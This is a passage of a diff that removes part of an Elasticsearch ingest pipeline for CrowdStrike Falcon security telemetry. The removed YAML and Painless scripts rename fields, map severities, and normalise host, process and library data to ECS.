-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_GrandParentImageFilePath_to_crowdstrike_GrandparentImageFilePath_7028d291
-      field: crowdstrike.GrandParentImageFilePath
-      target_field: crowdstrike.GrandparentImageFilePath
-      ignore_missing: true
-      ignore_failure: true
-
-  # Assign severities to conform to security rules values
-  # 
-  # 21 = Low
-  # 47 = Medium
-  # 73 = High
-  # 99 = Critical
-  # 
-  # Leave crowdstrike values in place, since they have their own semantics.
-  - convert:
-      tag: convert_crowdstrike_alert_severity_to_long_306bc9b0
-      if: ctx.crowdstrike?.alert?.severity != null && !(ctx.crowdstrike.alert.severity instanceof long)
-      field: crowdstrike.alert.severity
-      type: long
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_alert_severity_cc99ae7c
-            field:
-              - crowdstrike.alert.severity
-        - append:
-            tag: append_error_message_4c7cf4a0
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      description: Script to set event.severity.
-      tag: script_set_crowdstrike_alert_severity_b187cbc2
-      if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severityName == null
-      source: |-
-        long severity = ctx.crowdstrike.alert.severity;
-        if (0 <= severity && severity < 20) {
-          ctx.crowdstrike.alert.severityName = "info";
-        } if (20 <= severity && severity < 40) {
-          ctx.crowdstrike.alert.severityName = "low";
-        } if (40 <= severity && severity < 60) {
-          ctx.crowdstrike.alert.severityName = "medium";
-        } if (60 <= severity && severity < 80) {
-          ctx.crowdstrike.alert.severityName = "high";
-        } if (80 <= severity && severity <= 100) {
-          ctx.crowdstrike.alert.severityName = "critical";
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_06556072
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      tag: script_set_event_severity_c715a67f
-      if: ctx.crowdstrike?.SeverityName instanceof String
-      source: |-
-        ctx.event = ctx.event ?: [:];
-        String name = ctx.crowdstrike.SeverityName;
-        if (name.equalsIgnoreCase("low") || name.equalsIgnoreCase("info") || name.equalsIgnoreCase("informational")) {
-          ctx.event.severity = 21;
-        } else if (name.equalsIgnoreCase("medium")) {
-          ctx.event.severity = 47;
-        } else if (name.equalsIgnoreCase("high")) {
-          ctx.event.severity = 73;
-        } else if (name.equalsIgnoreCase("critical")) {
-          ctx.event.severity = 99;
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_6dd43c3d
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # EppDetectionSummaryEvent renames
-  - rename:
-      tag: rename_crowdstrike_Hostname_to_crowdstrike_ComputerName_91445a54
-      field: crowdstrike.Hostname
-      target_field: crowdstrike.ComputerName
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_LogonDomain_to_crowdstrike_MachineDomain_b6659adb
-      field: crowdstrike.LogonDomain
-      target_field: crowdstrike.MachineDomain
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_AgentId_to_crowdstrike_SensorId_c933741c
-      field: crowdstrike.AgentId
-      target_field: crowdstrike.SensorId
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_Name_to_crowdstrike_DetectName_6008d35c
-      field: crowdstrike.Name
-      target_field: crowdstrike.DetectName
-      ignore_missing: true
-      ignore_failure: true
-
-  # Handle additional added fields.
-  - date:
-      tag: date_crowdstrike_FirstDiscoveredDate_into_crowdstrike_FirstDiscoveredDate_612798da
-      if: ctx.crowdstrike?.FirstDiscoveredDate != null && ctx.crowdstrike.FirstDiscoveredDate != '' && ctx.crowdstrike.FirstDiscoveredDate != 'none'
-      field: crowdstrike.FirstDiscoveredDate
-      target_field: crowdstrike.FirstDiscoveredDate
-      formats:
-        - UNIX
-  - convert:
-      tag: convert_crowdstrike_CurrentLocalIP_to_ip_a98b1595
-      if: ctx.crowdstrike?.CurrentLocalIP != null && ctx.crowdstrike?.CurrentLocalIP != ''
-      field: crowdstrike.CurrentLocalIP
-      type: ip
-  - convert:
-      tag: convert_crowdstrike_aipCount_to_integer_ad6bba60
-      if: ctx.crowdstrike?.aipCount != null && ctx.crowdstrike?.aipCount != ''
-      field: crowdstrike.aipCount
-      type: integer
-  - convert:
-      tag: convert_crowdstrike_discovererCount_to_integer_16ff8e6a
-      if: ctx.crowdstrike?.discovererCount != null && ctx.crowdstrike?.discovererCount != ''
-      field: crowdstrike.discovererCount
-      type: integer
-  - convert:
-      tag: convert_crowdstrike_localipCount_to_integer_97885158
-      if: ctx.crowdstrike?.localipCount != null && ctx.crowdstrike?.localipCount != ''
-      field: crowdstrike.localipCount
-      type: integer
-
-  # AWS S3 input does _id-Based Deduplication and generates "_id" by default.
-  # When "Data Deduplication" is not enabled, this field must be removed.
-  # https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation
-  - remove:
-      description: When data deduplication is disabled, even the _id-Based Deduplication needs to be removed.
-      tag: remove_id_based_deduplication_fd096d6e
-      if: ctx._conf?.enable_deduplication == false
-      field:
-        - _id
-      ignore_missing: true
-
-  - script:
-      tag: script_data_type_89bd92f4
-      if: ctx.log?.file?.path != null && ctx.log.file.path != ''
-      source: |-
-        int lastSlash = ctx.log.file.path.lastIndexOf("/");
-        if (lastSlash == -1) {
-          return;
-        }
-        ctx._temp = ctx._temp ?: [:];
-        ctx._temp.type = ctx.log.file.path.substring(lastSlash + 1);
-        // aidmaster and userinfo are bucket keys we depend on, the data
-        // path suffix is tested, but not depended on. So make sure this
-        // is present for the fingerprint processor.
-        if (ctx._temp.type != 'aidmaster' && ctx._temp.type != 'userinfo') {
-          ctx._temp.type = 'data';
-        }
-  - fingerprint:
-      description: When deduplication is enabled, fingerprint the a set of crowdstrike fields in attempt to prevent the same event from being indexed more than once.
-      tag: fingerprint_crowdstrike_fdr_0e5ffd3f
-      if: ctx._conf?.enable_deduplication == true
-      fields:
-        - '@timestamp'
-        - crowdstrike.id
-        - crowdstrike.aid
-        - crowdstrike.cid
-        - _temp.type
-      target_field: _id
-      ignore_missing: true
-
-  # Categorization
-  - pipeline:
-      tag: pipeline_categorize_20a0e7f1
-      name: '{{ IngestPipeline "categorize" }}'
-      ignore_missing_pipeline: true
-
-  # Cached event category for category-dependent processors
-  - set:
-      tag: set__temp_isFile_1aa6969f
-      if: ctx.event?.category?.contains('file') == true
-      field: _temp.isFile
-      value: true
-  - set:
-      tag: set__temp_isLibrary_00bc941b
-      if: ctx.event?.category?.contains('library') == true
-      field: _temp.isLibrary
-      value: true
-  - set:
-      tag: set__temp_isNetwork_70f64bff
-      if: ctx.event?.category?.contains('network') == true
-      field: _temp.isNetwork
-      value: true
-  - set:
-      tag: set__temp_isProcess_279add73
-      if: ctx.event?.category?.contains('process') == true
-      field: _temp.isProcess
-      value: true
-  - set:
-      tag: set__temp_isDriver_d4311ecf
-      if: ctx.event?.category?.contains('driver') == true
-      field: _temp.isDriver
-      value: true
-
-  # CSPM fields
-  # Can be both string and int, fields are mapped as keyword.
-  - convert:
-      tag: convert_crowdstrike_service_to_string_2a8687e8
-      field: crowdstrike.service
-      type: string
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_cloudplatform_to_string_1f6df19b
-      field: crowdstrike.cloudplatform
-      type: string
-      ignore_missing: true
-
-  - rename:
-      description: Rename crowdstrike.resource in case concrete value field is mapped as object.
-      tag: rename_crowdstrike_resource_to_crowdstrike_resource_name_9899a394
-      if: ctx.crowdstrike?.resource instanceof String
-      field: crowdstrike.resource
-      target_field: crowdstrike.resource_name
-  - remove:
-      tag: remove_cloud_4d018ef3
-      field:
-        - cloud
-      ignore_missing: true
-
-  - pipeline:
-      tag: pipeline_cspm_iom_62dcd2f9
-      if: (ctx.crowdstrike?.disposition != null && ctx.crowdstrike.disposition.equalsIgnoreCase('Failed')) ||(ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.equalsIgnoreCase('CloudSecurityIOMEvaluation'))
-      name: '{{ IngestPipeline "cspm_iom" }}'
-  - pipeline:
-      tag: pipeline_cspm_ioa_8a985b05
-      if: ctx.crowdstrike?.vertex_type != null && ctx.crowdstrike.vertex_type.equalsIgnoreCase('ioa')
-      name: '{{ IngestPipeline "cspm_ioa" }}'
-
-  # Event fields.
-  - set:
-      description: Concat the fields used in fingerprint.
-      tag: set_event_id_af6d60ca
-      if: ctx.crowdstrike?.id != null || ctx.crowdstrike?.aid != null || ctx.crowdstrike?.cid != null
-      field: event.id
-      value: '{{{#crowdstrike.id}}}{{{ crowdstrike.id }}}{{{/crowdstrike.id}}}|{{{#crowdstrike.aid}}}{{{ crowdstrike.aid }}}{{{/crowdstrike.aid}}}|{{{#crowdstrike.cid}}}{{{ crowdstrike.cid }}}{{{/crowdstrike.cid}}}'
-      override: false
-  - set:
-      tag: construct_message_from_event_simpleName_649b7fba
-      field: message
-      copy_from: crowdstrike.event_simpleName
-      override: false
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_event_simpleName_to_event_action_0069f759
-      field: crowdstrike.event_simpleName
-      target_field: event.action
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_SuspiciousHandleOpenReason_to_event_reason_d2830844
-      field: crowdstrike.SuspiciousHandleOpenReason
-      target_field: event.reason
-      ignore_missing: true
-
-  # Prepare data.
-  - script:
-      description: Convert all count fields to number.
-      tag: convert_count_fields_to_long_e5775223
-      source: |-
-        for (entry in ctx.crowdstrike.entrySet()) {
-          def key = entry.getKey().toString();
-          if (key.contains("Count") || key.contains("Port")) {
-            try {
-              ctx.crowdstrike[key] = Long.parseLong(entry.getValue().toString());
-            } catch (Exception e) {
-            }
-          }
-        }
-  - script:
-      description: Remove all 0's hashes.
-      tag: remove_empty_hashes_fdda7066
-      params:
-        MD5HashData: md5
-        SHA1HashData: sha1
-        SHA256HashData: sha256
-      source: |-
-        def hashIsEmpty(String hash) {
-          if (hash == null || hash == "") {
-            return true;
-          }
-
-          Pattern emptyHashRegex = /^0*$/;
-          def matcher = emptyHashRegex.matcher(hash);
-
-          return matcher.matches();
-        }
-
-        def hashes = new HashMap();
-        def related = [
-          "hash": new ArrayList()
-        ];
-        for (entry in params.entrySet()) {
-          def key = entry.getKey().toString();
-          def value = ctx.crowdstrike[key];
-          if (hashIsEmpty(value)) {
-            ctx.crowdstrike.remove(key);
-            continue;
-          }
-
-          hashes[entry.getValue().toString()] = value;
-          related.hash.add(value);
-        }
-
-        ctx._temp = ctx._temp ?: [:];
-        ctx._temp.hashes = hashes;
-        if (related.hash.length > 0) {
-          ctx.related = related;
-        }
-
-  # Observer fields.
-  - set:
-      tag: set_observer_serial_number_f13cfca6
-      field: observer.serial_number
-      copy_from: crowdstrike.aid
-      ignore_empty_value: true
-  - split:
-      tag: split_crowdstrike_aip_f0e4d8b4
-      field: crowdstrike.aip
-      separator: \s+
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_aip_to_ip_c775b545
-      field: crowdstrike.aip
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_aip_253407ba
-            field:
-              - crowdstrike.aip
-  - rename:
-      tag: rename_crowdstrike_aip_to_observer_ip_db4efb0d
-      field: crowdstrike.aip
-      target_field: observer.ip
-      ignore_missing: true
-      ignore_failure: true
-  - set:
-      tag: set_observer_address_7e682298
-      field: observer.address
-      copy_from: observer.ip
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_AgentVersion_to_observer_version_8a83774d
-      field: crowdstrike.AgentVersion
-      target_field: observer.version
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_ConfigBuild_to_observer_version_05f8908e
-      field: crowdstrike.ConfigBuild
-      target_field: observer.version
-      ignore_missing: true
-      ignore_failure: true
-  - foreach:
-      tag: foreach_of_observer_ip_e78425f7
-      if: ctx.observer?.ip != null && ctx.observer.ip instanceof List
-      field: observer.ip
-      processor:
-        append:
-          tag: append_related_ip_e9bcb8d0
-          field: related.ip
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-
-  # Host fields.
-  - rename:
-      tag: rename_crowdstrike_aid_to_host_id_c2222a0d
-      field: crowdstrike.aid
-      target_field: host.id
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_ComputerName_to_host_hostname_0ec8d515
-      field: crowdstrike.ComputerName
-      target_field: host.hostname
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_hostname_to_host_hostname_f0f6daca
-      field: crowdstrike.hostname
-      target_field: host.hostname
-      ignore_missing: true
-      ignore_failure: true
-  - set:
-      tag: set_host_name_e6f31488
-      field: host.name
-      copy_from: host.hostname
-      ignore_empty_value: true
-      ignore_failure: true
-  - append:
-      tag: append_related_hosts_369b21b5
-      if: ctx.crowdstrike?.info?.host?.ComputerName != null
-      field: related.hosts
-      value: '{{{crowdstrike.info.host.ComputerName}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_info_host_ComputerName_to_host_name_a1ee7f6f
-      if: ctx.host?.name == null
-      field: crowdstrike.info.host.ComputerName
-      target_field: host.name
-      ignore_missing: true
-  - append:
-      tag: append_related_hosts_452ef445
-      if: ctx.host?.name != null
-      field: related.hosts
-      value: '{{{host.name}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_City_to_host_geo_city_name_bf5d6259
-      field: crowdstrike.City
-      target_field: host.geo.city_name
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_Continent_to_host_geo_continent_name_d0e71561
-      field: crowdstrike.Continent
-      target_field: host.geo.continent_name
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_Country_to_host_geo_country_name_56324ad5
-      field: crowdstrike.Country
-      target_field: host.geo.country_name
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_Timezone_to_host_geo_timezone_b481eccd
-      field: crowdstrike.Timezone
-      target_field: host.geo.timezone
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_MachineDomain_to_host_domain_3ab40091
-      field: crowdstrike.MachineDomain
-      target_field: host.domain
-      ignore_missing: true
-      ignore_failure: true
-  - convert:
-      tag: convert_crowdstrike_info_host_aip_to_ip_into__temp_aip_21b40f31
-      if: ctx.crowdstrike?.info?.host?.aip != null && ctx.crowdstrike.info.host.aip != ""
-      field: crowdstrike.info.host.aip
-      type: ip
-      target_field: _temp.aip
-      ignore_failure: true
-  - remove:
-      tag: remove_crowdstrike_info_host_aip_0b8e5e7f
-      if: ctx._temp?.aip != null
-      field:
-        - crowdstrike.info.host.aip
-  - append:
-      tag: append_host_ip_1dd81f5c
-      if: ctx._temp?.aip != null
-      field: host.ip
-      value: '{{{_temp.aip}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_related_ip_a3fbf481
-      if: ctx._temp?.aip != null
-      field: related.ip
-      value: '{{{_temp.aip}}}'
-      allow_duplicates: false
-
-  # OS fields.
-  - set:
-      tag: set_host_os_type_c07526d4
-      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Lin"
-      field: host.os.type
-      value: linux
-  - set:
-      tag: set_host_os_type_d0c6a731
-      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Mac"
-      field: host.os.type
-      value: macos
-  - set:
-      tag: set_host_os_type_88679cda
-      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "Win"
-      field: host.os.type
-      value: windows
-  - set:
-      tag: set_host_os_type_079f7c73
-      if: ctx.crowdstrike?.event_platform != null && ctx.crowdstrike.event_platform == "iOS"
-      field: host.os.type
-      value: ios
-  - rename:
-      tag: rename_crowdstrike_OSVersionString_to_host_os_version_c9849d9b
-      field: crowdstrike.OSVersionString
-      target_field: host.os.version
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_Version_to_host_os_version_74d23d68
-      field: crowdstrike.Version
-      target_field: host.os.version
-      ignore_missing: true
-      ignore_failure: true
-
-  # Service fields.
-  - set:
-      tag: set_service_name_e27d7b04
-      if: ctx._temp?.isDriver == true
-      field: service.name
-      copy_from: crowdstrike.ServiceDisplayName
-      ignore_empty_value: true
-
-  # Process fields.
-  - rename:
-      tag: rename_crowdstrike_CommandLine_to_process_command_line_307047e3
-      field: crowdstrike.CommandLine
-      target_field: process.command_line
-      ignore_missing: true
-  - script:
-      description: Implements Windows-like SplitCommandLine
-      tag: split_command_line_c3beef26
-      if: ctx.process?.command_line != null && ctx.process.command_line != "" && ctx.host?.os?.type != null
-      source: |-
-        // appendBSBytes appends n '\\' bytes to b and returns the resulting slice.
-        def appendBSBytes(StringBuilder b, int n) {
-           for (; n > 0; n--) {
-             b.append('\\');
-           }
-           return b;
-        }
-
-        // readNextArg splits command line string into next
-        // argument and command line remainder offset.
-        def readNextArg(String line, int offset) {
-          def b = new StringBuilder();
-          boolean inquote;
-          int nslash;
-          for (; offset < line.length(); offset++) {
-            def c = line.charAt(offset);
-            if (c == (char)' ' || c == (char)0x09) {
-              if (!inquote) {
-                return [
-                  "arg":  appendBSBytes(b, nslash).toString(),
-                  "offset": offset+1
-                ];
-              }
-            } else if (c == (char)'"') {
-              b = appendBSBytes(b, nslash/2);
-              if (nslash%2 == 0) {
-                // use "Prior to 2008" rule from
-                // http://daviddeley.com/autohotkey/parameters/parameters.htm
-                // section 5.2 to deal with double double quotes
-                if (inquote && offset+1 < line.length() && line.charAt(offset+1) == (char)'"') {
-                  b.append(c);
-                  offset++;
-                }
-                inquote = !inquote;
-              } else {
-                b.append(c);
-              }
-              nslash = 0;
-              continue;
-            } else if (c == (char)'\\') {
-              nslash++;
-              continue;
-            }
-            b = appendBSBytes(b, nslash);
-            nslash = 0;
-            b.append(c);
-          }
-          return [
-            "arg":  appendBSBytes(b, nslash).toString(),
-            "offset": line.length()
-          ];
-        }
-
-        // commandLineToArgv splits a command line into individual argument
-        // strings, following the Windows conventions documented
-        // at http://daviddeley.com/autohotkey/parameters/parameters.htm#WINARGV
-        // Original implementation found at: https://github.com/golang/go/commit/39c8d2b7faed06b0e91a1ad7906231f53aab45d1
-        def commandLineToArgv(String line) {
-          def args = new ArrayList();
-          for (int i = 0; i < line.length();) {
-            if (line.charAt(i) == (char)' ' || line.charAt(i) == (char)0x09) {
-              i++;
-              continue;
-            }
-            def next = readNextArg(line, i);
-            i = next.offset;
-            if (next.arg == '') {
-              // Empty strings will be removed later so don't bother adding them.
-              continue;
-            }
-            args.add(next.arg);
-          }
-          return args;
-        }
-
-        ctx.process.args = commandLineToArgv(ctx.process.command_line);
-        ctx.process.args_count = ctx.process.args.length;
-  - rename:
-      tag: rename_crowdstrike_ImageFileName_to_process_executable_1e9d3140
-      if: ctx._temp?.isLibrary != true && ctx._temp?.isDriver != true
-      field: crowdstrike.ImageFileName
-      target_field: process.executable
-      ignore_missing: true
-  - script:
-      description: Calculate process.name
-      tag: process_name_7293cfa8
-      if: ctx.process?.executable != null && ctx.process.executable != ""
-      source: |-
-        def executable = ctx.process.executable;
-        def exe_arr = [];
-        def name = executable;
-        if(executable.substring(0,1) == "\\") {
-          name = executable.splitOnToken("\\")[-1];
-        } else if(executable.substring(0,1) == "/") {
-          name = executable.splitOnToken("/")[-1];
-        }
-        ctx.process.put("name", name);
-
-  # This handles a special case occurs in Linux-based containerized environments
-  # when the "runc" process clones itself to get into its own namespace.
-  # The child process would have its executable path set to "/"
-  # and consequently, the process name would not be set.
-  # For more details, see https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2021/12/28/runc-internals-3.
-  - script:
-      description: Extract process.name from command line if not already present.
-      tag: parse_process_name_from_command_line_327152ca
-      if: |-
-        ctx.process?.executable == '/' &&
-        (ctx.process.name == null || ctx.process.name == '') &&
-        (ctx.process.args instanceof List && ctx.process.args.length > 0)
-      source: |-
-        ctx.process.name = ctx.process.args[0];
-
-        // Clean up path separators.
-        int lastSlash = ctx.process.name.lastIndexOf("/");
-        if (lastSlash != -1) {
-          ctx.process.name = ctx.process.name.substring(lastSlash + 1);
-        }
-  - convert:
-      tag: convert_crowdstrike_ExitCode_to_long_b3ece615
-      field: crowdstrike.ExitCode
-      type: long
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ExitCode_to_process_exit_code_dd734967
-      field: crowdstrike.ExitCode
-      target_field: process.exit_code
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_ProcessStartTime_to_string_6339b88d
-      field: crowdstrike.ProcessStartTime
-      type: string
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_ProcessEndTime_to_string_e858845e
-      field: crowdstrike.ProcessEndTime
-      type: string
-      ignore_missing: true
-  - script:
-      description: Calculate process.uptime
-      tag: process_uptime_d1b24ab9
-      if: |-
-        ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike?.ProcessStartTime != "" &&
-        ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike?.ProcessEndTime != ""
-      source: |-
-        float s = Float.parseFloat(ctx.crowdstrike?.ProcessStartTime);
-        float e = Float.parseFloat(ctx.crowdstrike?.ProcessEndTime);
-        if (e >= s) {
-          if (ctx.process == null) {
-            ctx.process = [:];
-          }
-          ctx.process.uptime = (long) ((e-s)/1000L);
-        }
-  - script:
-      description: Parse raw process id's so that they roll over if out of 32-bit range
-      tag: parse_raw_pids_08a5864a
-      source: |-
-        def parsePid(String pid) {
-          try {
-            return Long.parseUnsignedLong(pid);
-          } catch (Exception e) {
-            return pid;
-          }
-        }
-        if (ctx.crowdstrike?.RawProcessId != null) {
-          ctx.crowdstrike.RawProcessId = parsePid(ctx.crowdstrike.RawProcessId);
-        }
-        if (ctx.crowdstrike?.EtwRawProcessId != null) {
-          ctx.crowdstrike.EtwRawProcessId = parsePid(ctx.crowdstrike.EtwRawProcessId);
-        }
-  - date:
-      tag: date_process_start_time_a2b0d5f4
-      if: ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike.ProcessStartTime != '' && ctx.crowdstrike.ProcessStartTime != 'none'
-      field: crowdstrike.ProcessStartTime
-      target_field: crowdstrike.ProcessStartTime
-      formats:
-        - UNIX
-  - rename:
-      tag: rename_crowdstrike_ProcessStartTime_to_process_start_84d4376c
-      if: ctx.crowdstrike?.ProcessStartTime != ""
-      field: crowdstrike.ProcessStartTime
-      target_field: process.start
-      ignore_missing: true
-  - date:
-      tag: date_process_end_time_160e9fbf
-      if: ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike.ProcessEndTime != '' && ctx.crowdstrike.ProcessEndTime != 'none'
-      field: crowdstrike.ProcessEndTime
-      target_field: crowdstrike.ProcessEndTime
-      formats:
-        - UNIX
-  - rename:
-      tag: rename_crowdstrike_ProcessEndTime_to_process_end_965ac751
-      if: ctx.crowdstrike?.ProcessEndTime != ""
-      field: crowdstrike.ProcessEndTime
-      target_field: process.end
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_RawProcessId_to_process_pid_937882e3
-      field: crowdstrike.RawProcessId
-      target_field: process.pid
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_TargetProcessId_to_string_d9f8029c
-      if: ctx.crowdstrike?.TargetProcessId != null && !(ctx.crowdstrike.TargetProcessId instanceof String)
-      field: crowdstrike.TargetProcessId
-      type: string
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_TargetProcessId_to_process_entity_id_9f979af6
-      field: crowdstrike.TargetProcessId
-      target_field: process.entity_id
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_ParentProcessId_to_string_53eeefcb
-      if: ctx.crowdstrike?.ParentProcessId != null && !(ctx.crowdstrike.ParentProcessId instanceof String)
-      field: crowdstrike.ParentProcessId
-      type: string
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ParentProcessId_to_process_parent_entity_id_71941ac7
-      field: crowdstrike.ParentProcessId
-      target_field: process.parent.entity_id
-      ignore_missing: true
-  - set:
-      tag: set_process_name_40e79739
-      if: ctx._temp?.isNetwork == true
-      field: process.name
-      copy_from: crowdstrike.ContextBaseFileName
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_ParentBaseFileName_to_process_parent_name_759f7011
-      field: crowdstrike.ParentBaseFileName
-      target_field: process.parent.name
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_ProcessGroupId_to_long_5a3ca809
-      field: crowdstrike.ProcessGroupId
-      type: long
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ProcessGroupId_to_process_pgid_8830e8d1
-      field: crowdstrike.ProcessGroupId
-      target_field: process.pgid
-      ignore_missing: true
-  - set:
-      tag: set_process_entity_id_3f15b261
-      if: ctx.process?.entity_id == null
-      field: process.entity_id
-      copy_from: crowdstrike.ContextProcessId
-      ignore_empty_value: true
-  - convert:
-      tag: convert_crowdstrike_ContextThreadId_to_long_b92c0503
-      if: ctx.process?.thread?.id == null
-      field: crowdstrike.ContextThreadId
-      type: long
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ContextThreadId_to_process_thread_id_55924d4f
-      if: ctx.process?.thread?.id == null
-      field: crowdstrike.ContextThreadId
-      target_field: process.thread.id
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_EtwRawProcessId_to_process_pid_e92b8449
-      if: ctx.process?.pid == null
-      field: crowdstrike.EtwRawProcessId
-      target_field: process.pid
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_EtwRawThreadId_to_long_9652eb55
-      field: crowdstrike.EtwRawThreadId
-      type: long
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_EtwRawThreadId_to_process_thread_id_4bfcaba5
-      if: ctx.process?.thread?.id == null
-      field: crowdstrike.EtwRawThreadId
-      target_field: process.thread.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_ServiceDisplayName_to_process_title_50009d18
-      field: crowdstrike.ServiceDisplayName
-      target_field: process.title
-      ignore_missing: true
-  - rename:
-      tag: rename__temp_hashes_to_process_hash_cdaa452a
-      if: |-
-        ctx.event?.action != null &&
-        (ctx.event.action.contains("Process") || ctx.event.action.contains("Service")) &&
-        ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0
-      field: _temp.hashes
-      target_field: process.hash
-  - script:
-      tag: integrity_level_1169d16e
-      if: ctx.crowdstrike?.IntegrityLevel != null
-      params:
-        levels:
-          "0": UNTRUSTED
-          "4096": LOW
-          "8192": MEDIUM
-          "8448": MEDIUM_PLUS
-          "12288": HIGH
-          "16384": SYSTEM
-          "20480": PROTECTED
-      source: |-
-        String level = params.get('levels')[ctx.crowdstrike.IntegrityLevel];
-        if (level != null) {
-          ctx.process = ctx.process ?: [:];
-          ctx.process.Ext = ctx.process.Ext ?: [:];
-          ctx.process.Ext.token = ctx.process.Ext.token ?: [:];
-          ctx.process.Ext.token.integrity_level_name = level;
-        }
-  - set:
-      tag: set_process_pe_original_file_name_8552e0df
-      if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'windows'
-      field: process.pe.original_file_name
-      copy_from: crowdstrike.OriginalFilename
-      ignore_empty_value: true
-  - convert:
-      tag: convert_process_pgid_to_string_into_process_group_leader_entity_id_88870118
-      if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'linux'
-      field: process.pgid
-      type: string
-      target_field: process.group_leader.entity_id
-      ignore_missing: true
-  - set:
-      tag: set_process_real_user_id_d36a1e14
-      field: process.real_user.id
-      copy_from: crowdstrike.RUID
-      ignore_empty_value: true
-  - set:
-      tag: set_user_Ext_real_id_4bbeee1a
-      field: user.Ext.real.id
-      copy_from: process.real_user.id
-      ignore_empty_value: true
-  - set:
-      tag: set_process_real_group_id_01a52390
-      if: ctx.host?.os?.type == 'linux'
-      field: process.real_group.id
-      copy_from: crowdstrike.RGID
-      ignore_empty_value: true
-  - set:
-      tag: set_group_Ext_real_id_1ca7802a
-      field: group.Ext.real.id
-      copy_from: process.real_group.id
-      ignore_empty_value: true
-  - set:
-      tag: set_process_group_id_69005b41
-      if: ctx.host?.os?.type == 'linux'
-      field: process.group.id
-      copy_from: crowdstrike.GID
-      ignore_empty_value: true
-  - set:
-      tag: set_group_id_0c978126
-      field: group.id
-      copy_from: process.group.id
-      ignore_empty_value: true
-
-  # Library fields.
-  - set:
-      tag: set_event_action_735cfe72
-      if: ctx._temp?.isDriver == true
-      field: event.action
-      value: load
-  - set:
-      tag: set_dll_pe_original_file_name_7a4c66c0
-      if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows'
-      field: dll.pe.original_file_name
-      copy_from: crowdstrike.OriginalFilename
-      ignore_empty_value: true
-  - rename:
-      tag: rename_process_name_to_dll_name_9234d620
-      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
-      field: process.name
-      target_field: dll.name
-      ignore_missing: true
-  - rename:
-      tag: rename_process_executable_to_dll_path_992bcd8f
-      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
-      field: process.executable
-      target_field: dll.path
-      ignore_missing: true
-  - rename:
